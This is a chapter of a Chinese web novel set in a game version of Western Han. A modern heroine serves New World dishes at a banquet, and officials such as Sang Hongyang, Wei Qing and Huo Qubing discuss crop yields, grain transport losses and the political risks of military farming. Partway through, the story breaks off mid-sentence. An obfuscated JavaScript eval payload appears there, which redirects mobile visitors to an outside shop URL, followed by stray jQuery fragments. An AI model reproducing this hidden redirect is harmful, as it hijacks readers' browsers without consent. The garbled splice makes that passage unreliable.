饭菜已经上桌,大家识趣地在仆人的指引下坐回枰上,此时案几上已经摆上了番茄炒蛋、酸辣土豆丝、地三鲜、拔丝地瓜、煮玉米等等家常菜,另外还送上果盘和果蔬饮料。
这些菜式在现代十分普通,但是在西汉却全是稀罕物。
人们对这些菜式非常好奇,洛雪菲也是第一次让厨房全盘按照自己的描述去做菜,不可以随意发挥,这样做出来的饭菜,闻起来和现代餐馆中的味道很像。
洛雪菲站起来,像是餐厅主厨似的,将一道道菜所用的食材是什么,怎么烹饪的,一一介绍开来,她对这些蔬菜水果的原产地记得不算清楚,大概知道这些东西大多来自于美洲大陆,明朝或者清朝才开始引进的。
如今能让他们早些种下,提前丰富大汉人的餐桌也是好的。
桑弘羊顺口问了问这些菜的产量。
洛雪菲又不是农业专家,对这些毫无概念,只是想到游戏必然借鉴了现实中的产量,想想咱农业大国近些年这么多农业技术突破,这些蔬菜水果的产量应该不会低于每亩千斤。
所以她大胆开麦:“这些蔬菜种出来至少每亩会有千斤的产量。”
她的话音刚落,不管是方才询问的桑弘羊还是在场的一众官员,都陷入了诡异的沉默。
“神女方才是说,每亩千斤是吧。”
“我没听错吧!每亩千斤!这怎么可能?!”
“或许是国师口误……”
所有人都目光灼灼地看着她,口中说着“口误”,可眼睛亮得惊人。洛雪菲毫不怀疑,假如她此时皮一下,说方才是口误,这些人眼中的光会立刻消失,变成满脸遗憾。
索性她也没有耍人的意思,“没有口误哦。货真价实的亩产千斤。甚至可能会更多,因为我对这些没什么概念,可能会比这还要翻上几番。如果不信的话,大家可以尝试自己种一种嘛,那时候你们不就知道了吗?”
“是我们糊涂了,神女不食人间烟火,怎么会记得这种小事……”
洛雪菲被恭维得有些脸红,别人问起来,她才发现自己确实很忽视这些数据,要不是反应快,她就要被问倒了。
况且在现代,亩产千斤这种事,所有人都已经习以为常了,反倒是那些产量上不去的,大家才会调侃两句,让农业专家快快努力,争取早点把产量搞上去,价格打下来。
但是和古代比起来呢?产量和西汉时期比差距有多大?
“所以说,你们现在的产量是多少啊?”洛雪菲好奇地问。
“如今善耕者也不过亩产三石,国师的良种却能亩产九石还要多,这是实打实的三倍之差……”桑弘羊虽为侍中,却对经济数字最为敏感,听到洛雪菲的话更为激动。
倘若洛雪菲说的是真的,那这些菜比黄金珠宝更为珍贵,更值得推崇!
“善!”张骞激动地站了起来,对洛雪菲郑重一拜,神色肃然,“国师,吾昔日被困匈奴,见到不少人因为贫困被卖为奴隶,里面不乏大汉面孔的人,我心中甚是难过,但我也只能给目光所及之人一些力所难及的帮助,更多的人我却有心无力。今日来到您的宴会上,见到这些果蔬,已经是某三生有幸,实在不应该要求更多。只是,骞厚颜斗胆一问,国师肯拿出这等作物,是否有布告天下,劝民种植之意?若有,骞愿为此尽一份心意。”
博望侯张骞,丝绸之路的开荒探险者,西汉著名旅行家,以“凿空西域”、带回良种、西域地图和风俗,成为彼时让西汉开眼看世界的第一人。回国两年,他的传奇经历早已传遍大街小巷,是当下风头正劲、知名度最高的西汉官员之一。
由他牵头,其余的人纷纷跟上,用各种方式表达了同样的意愿。
不管是真的对贫困人员同情,还是只是为了在国师同僚面前表现,又或者是不想表现得不合群,这些官员没有一人表现出沉默或是反对。
对洛雪菲来说,这便足够了。这场宴会的目的已经达成了大半。
剩下的便是让他们吃好喝好,再把他们平安送走,就算是完事了。
此时饭菜全部端上桌,每个人面前案几上摆放的餐都是有定数的。
洛雪菲原本还很奇怪,为什么有的人面前餐食数量明显要少一些,这不显得自己看人下菜碟吗?
她本想让人把餐食补齐,芍药却无奈道:“主人,您怎么会这么想?事实上,这并非是错误,恰恰相反,这是礼的体现。就像是您身份尊贵,自然可以享用更多的美食,其他人身份比您低一些,那也有他的份例,身份不同,能享用的东西自然不同,这正是普天之下皆准的道理啊。”
“这哪里是普天之下皆准的道理?!”洛雪菲本想发火,又憋了回去。这是西汉,是游戏,不是现代。她得尊重差异。
千年的代沟不是三言两语就能抹平的。
她之前从未如此清晰地感受到千年文化的演变,从王侯将相开启的三六九等一直到千年后才彻底解放。
她凝视着芍药,芍药几日前才化形来到这个世上,她从不知道,短短几日,芍药已经从仆从那里学来了一堆封建糟粕。
可也正是因为对方熟知这些封建糟粕,才让她这次顺利蒙混过关。
宴会在其乐融融的氛围中开始。
芍药找来的百戏是长安城中大受欢迎的班子,有乐伎有舞蹈有杂耍,而且杂耍玩得极好。
于是鼓声起调,笙竽管弦乐器丝滑加入,悠扬丝竹声中,有人击节作拍,舞者簇拥着歌姬迈着舞步,款款来到客堂中央的空地上,歌姬清亮的嗓音浪漫而炽烈,舞者舞步大开大合,古朴中带着疏狂。
座下有人欣赏着歌舞,也有人慢慢品尝着菜色。
霍去病和卫青则在聊天,卫青过几日便要启程去朔方,这次远行是为了开春那场针对匈奴的大仗。车马未动,粮草先行。两人聊得正是路上粮草的损耗。
卫青对局势看得很明白:“陛下前几日看见国师时,打算让她帮忙运粮呢。如今她成了国师,这事恐怕不成了。”
“国师怎么帮忙运粮?”霍去病胡乱比划,做施法的样子,“这样用法术把粮草咻地一下送到边塞吗?”
卫青按住他乱动的手,笑道:“并非如此。有其他方式。”
霍去病一撇嘴,一听此话,就知道舅舅不会多说了。因为若是舅舅想说,早将其他方式是什么说出来了。但如果他不想说,就算是酷刑加身,也休要让他吐半个字。
“听说这次陛下打算全面出击,出动十余万人攻打匈奴,这次的消耗恐怕会很大。”霍去病若有所思,“陛下的期望很高,若是拿不到想要的结果,会不会对舅舅你有意见?”
“去病觉得舅舅会输?”
“那怎么可能?!舅舅战神在世,怎么可能会输?!”
卫青揉揉他的头,道:“小小年纪,想得倒是多。放心吧,舅舅心中有数。”
霍去病戳了戳地三鲜,想着洛雪菲介绍这些菜时说的话,这些蔬菜的产量大得惊人,若是能在朔方也种就好了,那得省多少粮草啊……
他猛地抬起头来,对啊,让人在朔方开荒种地不就能解决粮草消耗的问题了吗!这才是真正能帮朝廷节省粮食的举措嘛!
“舅舅!你能不能说服陛下,准许你带着将士在驻地种田啊,这样消耗就大大减少了啊。”
“嗯。你说的是个好办法。”卫青肯定了霍去病的想法,霍去病正扬起嘴角,卫青就趁机给他一个脑瓜崩,“那你有没有想过,边疆少了对朝廷的依赖,会出什么问题?”
霍去病很聪明,稍微一想,神情就严肃起来了。
“想明白了?”卫青问。
“嗯。我懂了。”霍去病看着满桌饭菜,沉默了下来,不知在想什么。
桑弘羊听着两人的对话,默默算账。
西汉时战争即将开始,朝廷会征发民夫去运粮,这些民夫每年都要服徭役,也就是为朝廷免费劳动一段时间。而被要求运粮的民夫,其口粮需要自带。他们需要背着自己的口粮和军粮一起上路。若只需几天,他们能带够粮食还好,但若是运粮耗费的时间太长,民夫也背不动自己的口粮,最后他们也只能一起吃军粮,这样就造成极大的耗损。
路程越远,耗费越大。
而且那些运粮的牛马每日也要耗费粮草,他们甚至每天吃的比民夫多很多。
加上这些,那路上的损耗就更可观了。更别提,若是时运不济,遇到极端天气,或是出现任何意外,导致“逾时超期”。那他们在路上的时间会延期,粮草消耗得更多。
若是因此粮草短缺,贻误军机,那不管是送粮的民夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652385|204475||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还是他的家属都会被严厉惩罚。
这样稍稍一算路程中的种种损耗,桑弘羊只能叹气,千里送粮,最后抵达时粮草能留下一两成,就算不错了。
粮食走陆路,损耗太大,并不划算。可问题是,要打匈奴,他们必须走陆路,这些损耗几乎是不可避免的。
鼓励朔方民众落地开荒,让军队同样可以就地屯田,这样损耗会大幅降低。的确是个好办法。
但这只是听起来很好,里面同样埋着定时炸弹,一不小心,边疆的将军就会变成政治斗争中的炮灰,死无葬身之地。
桑弘羊看着沉默的两位,觉得卫青和霍去病的担心其实不无道理。
屯田的事情虽好,却不能由将军首先提出来。若是提了,那他和皇帝之间的情谊,必然会撕开一道弥合不了的口子,再也回不到从前。
因为屯田这种事,涉及到将军日后会不会拥兵自重的问题。如今将军背靠朝廷,需要大量的平民去服役为边疆将士送粮草,将军的军队高度依赖朝廷运粮,虽然麻烦,但是缰绳在陛下手中,皇帝不会失去掌控感,对将军反而会信任。
况且因为将军手中没粮,一切都需要朝廷分配,将士们虽然会听他的命令,但也知道谁才是老大,不会轻易倒向将军。
屯粮却会打破这样的平衡,将军会因此有更多的选择,可能会脱离朝廷,不受朝廷控制,时间长了,将军是否会有天高皇帝远,自立为王的念头或是带头举兵造反,掀翻王朝都未可知。
一个受将士爱戴,手中又有粮有钱的将军,对皇帝的统治甚至可以造成威胁,这也是为什么历代将军官做得越高,反而越会被陛下忌惮的原因。
卫青看霍去病似乎怏怏地,不太高兴,便道:“其实两年前自陛下设置朔方郡和五原郡之后,当年就迁徙十万民众入两郡修城池,如今城池修得差不多了,这些人也开始开荒驻守了。或许我也需要一些高产量的作物给他们增强信心,让他们更加心甘情愿地留下来。”
霍去病也说:“我相信舅舅,也相信陛下的睿智,定会做出正确的选择。每年浪费在路上的粮草太多了,余下的粮草也只够打个小规模战斗,根本没法对匈奴造成震慑。若陛下下定决心,要将匈奴赶出去,还是要在粮草上下功夫。”
苏建等三位将军同样点头,显然深有同感。
桑弘羊也沉思道:“可以跟陛下商量。只是这样一来,将军们日后须得谨言慎行,多想想自家老小,懂得什么事该做,什么事不能做。莫要有侥幸的念头。”
话里话外,敲打将军们,你们权力大了,更要多想想九族,别造反。
桑弘羊小时候就是数学天才,对数字数据十分敏感,几岁就闻名乡里,十三岁时,赶上汉武帝刚登基不久,一腔热血准备大展拳脚施展抱负之时,听闻他的名声就把他提拔到身边做侍中,一直做到现在。
那时汉武帝也才十七八岁,到如今十几年过去,两人的情分自不必多说,桑弘羊属于是汉武帝绝对的心腹,他说的话是很有分量的。
“桑侍中说的是。”苏建等人已经年至中年,对帝王会对将军防备猜疑这种事门儿清,升的越高,权力越大,越要谨言慎行,免得被人抓住错处参上一本,以陛下目前想要全歼匈奴人的态度来看,他可能不会因此弄死你,却可能将你一撸到底,届时再遇见同僚,昔日下属成了自己上司,就丢人丢大发了。
张骞夹了口西红柿炒鸡蛋慢慢品鉴,对西红柿的口感倍感新奇,对左右感慨道:“神女这里的新品种比我去西域带回来的都多,感觉我的西域之路都白走了。”
洛雪菲对张骞出使西域的故事耳熟能详,他打通丝绸之路的事迹也很令人佩服,于是便道,“不能这么比,意义不同。你打通了一条通往西域的道路,就是给大汉重新打开一扇窗。您的爵位并不是用稀奇东西换回来的。陛下嘉奖您,是嘉奖您百折不挠和勇往直前的勇气。”
“说得好!”
一道威严霸道的声音压住了丝竹管弦的乐声,从门外传了进来。
乐声停了几秒,在座的各位,将目光投向门外。
不知何时,门外已经跪了一地。
宫廷侍卫神色肃然伫立在两侧。
汉武帝从侍卫队列中间,踱步而出。
汉武帝也来了!